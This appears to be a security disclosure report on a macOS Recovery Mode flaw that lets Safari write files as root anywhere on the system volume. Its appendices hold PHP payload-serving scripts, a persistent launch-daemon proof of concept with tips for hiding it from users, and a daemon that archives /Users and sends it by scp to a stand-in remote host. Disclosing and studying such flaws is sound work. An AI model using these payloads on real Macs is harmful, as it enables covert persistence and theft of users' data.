Affected platform

Apple Devices and Software

Affected area

Sandbox

Title

macOS Recovery Mode Flaw Enables Root-Level Arbitrary File Write and Persistent Code Execution

What is required to reproduce the issue?

- Physical Access to MacBook
- FileVault must be disabled

Detailed description

A critical privilege-escalation and arbitrary-write vulnerability has been discovered in macOS Recovery. This flaw allows an attacker with physical access to write files to any location on the system volume, potentially leading to a full-disk compromise and the execution of persistent, malicious code.

An attacker can boot a Mac into Recovery mode, use the Safari browser to download a malicious payload, and write it to any location on the system volume with root privileges. This payload can then install a launch daemon or a privileged launch agent that will automatically start on every boot. This provides the attacker with persistent, full-disk code execution and the ability to read, modify, or delete any file on the compromised machine.

CVSS Scores

The Common Vulnerability Scoring System (CVSS) provides a way to capture the principal characteristics of a vulnerability and produce a numerical score reflecting its severity. The scores below reflect the severity of this vulnerability under different scenarios.

Base Score: 8.5 (Critical)

- **CVSS 4.0 Vector:** `AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H`
- **CVSS 3.1 Vector:** `AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` (Score: 7.7)
- Category: "Device attack via physical access"

- Sub Category: "Broad extraction of sensitive data from the locked device after first unlock. As an example, you demonstrated the ability to extract all data from a user’s locked device."

This score reflects a scenario where the attack is performed before the system is set up and delivered to the user.

Metric	Value	Description
Attack Vector (AV)	Physical (P)	The attacker requires physical access to the device.
Attack Complexity (AC)	Low (L)	No specialized conditions or mitigating controls are present.
Privileges Required (PR)	None (N)	The attacker requires no prior privileges on the system.
User Interaction (UI)	None (N)	No user interaction is required for the exploit to succeed.
Scope (S)	Changed (C)	The vulnerability in the Recovery Environment allows an attacker to impact the main macOS installation, crossing a security authority boundary
Confidentiality (C)	High (H)	The attacker can access all data on the system.
Integrity (I)	High (H)	The attacker can modify any file on the system.
Availability (A)	High (H)	The attacker can deny access to all resources on the system.

Affected Products

- macOS

Tested Devices

- Macbook Air M1 2020 (tested on macOS versions 15.5, 15.7, 14.X)
- Macbook Air Intel 2019 (tested macOS version 14.4.1)

> Note: All tests were performed on systems with System Integrity Protection (SIP) enabled by default.

Affected Versions

- macOS 15.5 (tested)
- macOS 15.7 (the latest patch as of 9/16/2025) (tested)
- macOS 14.X (tested)

- Other previous macOS versions are likely affected.

Non-affected Versions

- In the newly released macOS v26.0 (public release 9/16/2025), Apple has mitigated this specific attack vector by disabling Safari's ability to save files in Recovery Mode. While effective against the PoC demonstrated here, this should be considered an incomplete, surface-level fix. The root cause—Safari running with elevated privileges and direct, unsandboxed access to the system volume—appears to remains unaddressed. This leaves the system potentially vulnerable to more sophisticated browser-based exploits that could achieve the same outcome. Furthermore, this change has introduced a separate regression, which will be detailed in a subsequent report.

Limitations

- **(Untested):** This vulnerability was tested on a system with **FileVault disabled**. Behavior when FileVault is enabled has not been tested and might be affected by the flaw depending on how Mac mounts filesystem when FIleVault is enabled
- The device must have access to a network
- The attacker must have physical access to the Mac device.

Resulting Capabilities

- Write or replace arbitrary files anywhere on the system volume, including in privileged and protected locations.
- Deploy a launch daemon or launch agent to establish persistence, as demonstrated in the Proof-of-Concept examples.
- Overwrite critical system configuration files, delete user data, or render the operating system unusable.
- Achieve remote control by placing a backdoor script on the system.
- Gain the ability to read all system and user files via a backdoor.
- Bypass System Integrity Protection (SIP), a core macOS security feature.
- Potentially extract all data from a user’s locked device.

Root Cause

The Safari browser in macOS Recovery mode allows for the downloading of files. Since the `Macintosh HD` is mounted during this process, files can be saved directly to the system volume. As the Recovery environment operates with elevated privileges, any file saved from Safari inherits these system-level write permissions, allowing it to be placed in otherwise restricted directories.

Exploitation Flow

1. Exploitation Flow (Pre-Sequoia):

- An attacker hosts a webpage that serves a malicious payload (see Appendix A for PoC code).
- The attacker boots the target Mac into Recovery Mode, opens Safari, and in the browser's settings, ensures that the option to "Ask where to save each download" is enabled.
- The attacker navigates to the malicious webpage, which triggers a download dialog. By pressing `⌘ + Shift + .`, hidden folders are revealed, allowing the attacker to choose any location on the system volume (e.g., `/System/Library/...`) and rename the file as needed.
- The file is then written to the chosen location with read/write access, bypassing the typical sandbox constraints.

2. Exploit Flow (Sequoia & Tahoe):

Due to a change in Safari's behavior, the `Content-Type` header of the served file must be set to `text/text`. The file must then be saved manually via **Edit** → **Save As** (see Appendix B for PoC code).

Proof of Concept: Persistent Backdoor via Launch Daemon

This proof of concept demonstrates how to establish persistent code execution by planting a malicious launch daemon. A video demonstration is attached as Appendix C, and all PoC code is available in Appendices A and B.

Due to the maximum length constraint for the report the PoC has been moved to Appendix D

PoC #2 (Exploit): Data Exfiltration

Due to the maximum length constraint for the report the PoC has been moved to Appendix E

Mitigation / Recommendations

- **Temporary Mitigation: Disable Safari file downloading while in Recovery Mode** or enforce a forced download directory to a temporary, non-privileged location.
- **Enforce stricter sandboxing** for the Recovery Safari process to limit file writes to non-system locations.
- **Update the recovery image** to include these checks and distribute the fix in the next macOS update or as a supplemental security update.

Credit

Yaseen Ghanem

Appendices

Appendix A: PHP Code for Pre-Sequoia Exploit

This PHP script modifies the response headers to trigger a file download prompt in Safari.

```php
<?php
// This uses PHP for simplicity; any language that can modify response
headers will work.

$file = 'malicious_file'; // The content to be downloaded

if (!file_exists($file)) {
    http_response_code(404);
    echo "File not found.";
    exit;
}

// Tells Safari to expect a generic binary file
header('Content-Type: application/octet-stream');

// Suggests a filename but allows the user to change it, including the
extension
header('Content-Disposition: attachment; filename="malicious_file"');

ob_clean();
flush();
readfile($file); // Send the content of malicious_file to the user
exit;
?>
```

The content of `malicious_file` is the payload to be written to the compromised MacBook.

Appendix B: PHP Code for Sequoia & Tahoe Exploit

This script uses a non-standard `Content-Type` to allow for a manual save via Safari's menu.

```php
<?php
// This uses PHP for simplicity; any language that can modify response
headers will work.

$file = 'malicious_file'; // The content to be downloaded
```

```
if (!file_exists($file)) {
    http_response_code(404);
    echo "File not found.";
    exit;
}

// A non-standard MIME type that allows manual downloading of the "webpage"
// without forcing an .html extension
header('Content-Type: text/text');

ob_clean();
flush();
readfile($file); // Send the content of malicious_file to the user
exit;
?>
```

The content of `malicious_file` is the payload to be written to the compromised MacBook.

Appendix C: Video Demonstration

REDACTED DUE TO INCLUDING PII

Appendix D:

1. **Serve the following two files on a publicly accessible web server:**

   `index.php`:

   ```
   <?php
   $file = 'malicious_file.txt'; // The file to be downloaded

   if (!file_exists($file)) {
       http_response_code(404);
       echo "File not found.";
       exit;
   }

   // A non-standard MIME type that allows for manual download of the
   "webpage"
   // without forcing an .html extension.
   header('Content-Type: text/text');

   // Disable caching
   header('Expires: 0');
   header('Cache-Control: must-revalidate');
   header('Pragma: public');
   ```

```
ob_clean();
flush();
readfile($file);
exit;
?>
```

`malicious_file.txt` (to be saved as `com.example.proof_of_vulnerability.plist`):
This plist file, when saved in `/Library/LaunchDaemons/`, creates and executes a shell script at `/usr/local/bin/ProofOfAdmin`. This script writes a log file to `/var/root/proof_of_vulnerability.txt` indicating when it was run and by which user.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.example.proofofadmin</string>
  <key>ProgramArguments</key>
  <array>
    <string>/bin/bash</string>
    <string>-c</string>
    <string>
      SCRIPT="/usr/local/bin/ProofOfAdmin";
      if [ ! -f "$SCRIPT" ]; then
        mkdir -p /usr/local/bin;
        cat &gt; "$SCRIPT" &lt;&lt;'EOF'
#!/bin/bash
echo "LaunchDaemon ran as $(whoami) on $(date)" &gt;&gt;
/var/root/proof_of_vulnerability.txt
EOF
        chmod 755 "$SCRIPT"
      fi;
      exec "$SCRIPT"
    </string>
  </array>
  <key>RunAtLoad</key>
  <true/>
  <key>KeepAlive</key>
  <false/>
</dict>
</plist>
```

Note: While a launch daemon can execute code directly, creating a separate script allows the background task to be named something less suspicious than "bash" when viewed in `Settings -> Login Items & Extensions`.

2. **Boot the MacBook into Recovery Mode**, select **Options**, and then open **Safari**.
3. Connect to a internet if not already connected.
4. Navigate to an accessible server (e.g., `https://your-server.com/index.php`) and use **Edit** → **Save As**.
5. In the save dialog, navigate to the mounted `Macintosh HD -> Library -> LaunchDaemons` and save the file as `com.example.proof_of_vulnerability.plist`.
6. Exit Recovery Mode and reboot the system.

Result:

The next time a user logs in, a prompt will appear stating that a background worker was added. This prompt can be customized to appear as a trusted application (e.g., "App Store"). To verify the exploit, open a new Terminal and run:

```
sudo cat /var/root/proof_of_vulnerability.txt
```

This simple PoC demonstrates the core capabilities of this vulnerability. While this example results in a one-time user prompt, an attacker could modify files in a way that is completely hidden from the user.

Appendix E: Theoretical Exploit

Note: The following is a **theoretical example** designed to illustrate the potential severity of the vulnerability. For safety reasons, and to avoid creating a functional malicious tool, **this specific payload has not been executed or tested.** It is provided for educational and demonstration purposes only.

WARNING: A payload constructed like the one below would be extremely dangerous and could lead to a full system compromise and data loss.

This hypothetical exploit demonstrates how the vulnerability could be leveraged to create a launch daemon that archives the /Users directory and sends it to a remote server, effectively creating a backdoor for data exfiltration.

Disclaimer: While this example demonstrates data extraction, a more sophisticated attacker could take this a step further by replacing a system binary (e.g., in /usr/libexec/…). This would make the backdoor practically invisible, as it would no longer appear as a separate item in Settings -> Login Items & Extensions and theoretically enable data extraction even from a locked device. This specific example is designed to run on user login.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.example.proofofadmin</string>
  <key>ProgramArguments</key>
  <array>
    <string>/bin/bash</string>
    <string>-c</string>
    <string>
      SCRIPT="/usr/local/bin/ProofOfAdmin";
      if [ ! -f "$SCRIPT" ]; then
        mkdir -p /usr/local/bin;
        cat &gt; "$SCRIPT" &lt;&lt;'EOF'
#!/bin/bash
BACKUP_SRC="/Users"
BACKUP_DEST="/tmp/users_backup_$(date +%Y-%m-%d).tar.gz"
REMOTE_USER="server_username"
REMOTE_HOST="your.server.com"
REMOTE_DIR="/location_to_save_on_remote"

tar -czf "$BACKUP_DEST" "$BACKUP_SRC"
scp "$BACKUP_DEST" "$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR"
rm "$BACKUP_DEST"
EOF
        chmod 755 "$SCRIPT"
      fi;
      exec "$SCRIPT"
    </string>
  </array>
  <key>RunAtLoad</key>
  <true/>
  <key>KeepAlive</key>
  <false/>
</dict>
</plist>
```